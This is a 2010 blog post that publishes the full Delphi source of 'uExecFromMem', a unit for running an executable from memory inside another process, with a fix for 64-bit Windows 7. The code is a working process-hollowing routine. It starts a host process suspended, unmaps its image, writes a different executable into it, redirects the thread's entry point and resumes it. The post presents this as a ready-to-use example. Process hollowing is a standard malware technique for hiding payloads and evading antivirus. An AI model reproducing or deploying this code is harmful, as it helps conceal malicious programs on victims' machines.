uExecFromMem by steve10120 - fixed for Win7x64 by testest

posted 15 Jul 2010, 15:19 by Delphi Basics   [ updated 15 Jul 2010, 15:35 ]
uExecFromMem by steve10120 - fixed for Win7x64 by testest

The original uExecFromMem unit reported an error 487 "Attempt to access an invalid address" inside a Windows 7 environment due to the Context not being DWORD aligned. Testest fixed this by using hiGet4ByteAlignedContext function to retreive a four byte aligned Context. Parameter support has also been added.

This delphi unit is now the perfect example of dynamically forking the Windows 32 executable featuring, support for all operating systems [XP, Vista, 7; 32, 64] and memory execution of multiple portable executables (available due to the PerformBaseRelocation function).

{ uExecFromMem

  Author: steve10120
  Description: Run an executable from another's memory.
  Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  Reference: http://www.security.org.sg/code/loadexe.html
  Release Date: 26th August 2009
  Website: http://ic0de.org
  History: First try

  Additions by testest 15th July 2010:
    - Parameter support
    - Win7 x64 support
}

unit uExecFromMem;

interface

uses Windows;

function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';

type
  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^DWord;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
  IDH := pImage;
  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  begin
    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  end;
end;

function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  Result := Base;
  if Base <> nil then
    while ((DWORD(Result) mod 4) <> 0) do
      Result := Pointer(DWORD(Result) + 1);
end;

function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
  PI:           TProcessInformation;
  SI:           TStartupInfo;
  CT:           PContext;
  CTBase:       PContext;
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  dwImageBase:  DWORD;
  pModule:      Pointer;
  dwNull:       DWORD;
begin
  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;

  Result := 0;
  IDH := pFile;
  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  begin
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
    if INH^.Signature = IMAGE_NT_SIGNATURE then
    begin
      FillChar(SI, SizeOf(TStartupInfo), #0);
      FillChar(PI, SizeOf(TProcessInformation), #0);
      SI.cb := SizeOf(TStartupInfo);
      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
      begin
        CT := Get4ByteAlignedContext(CTBase);
        if CT <> nil then
        begin
          CT.ContextFlags := CONTEXT_FULL;
          if GetThreadContext(PI.hThread, CT^) then
          begin
            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
            if dwImageBase = INH^.OptionalHeader.ImageBase then
            begin
              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
              else
                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            end
            else
              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if pModule <> nil then
            begin
              pFile := AlignImage(pFile);
              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
              begin
                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
                INH^.OptionalHeader.ImageBase := DWORD(pModule);
                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
              end;
              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
              SetThreadContext(PI.hThread, CT^);
              ResumeThread(PI.hThread);
              Result := PI.hThread;
            end;
          end;
          VirtualFree(CTBase, 0, MEM_RELEASE);
        end;
        if Result = 0 then
          TerminateProcess(PI.hProcess, 0);
      end;
    end;
  end;
end;

end.
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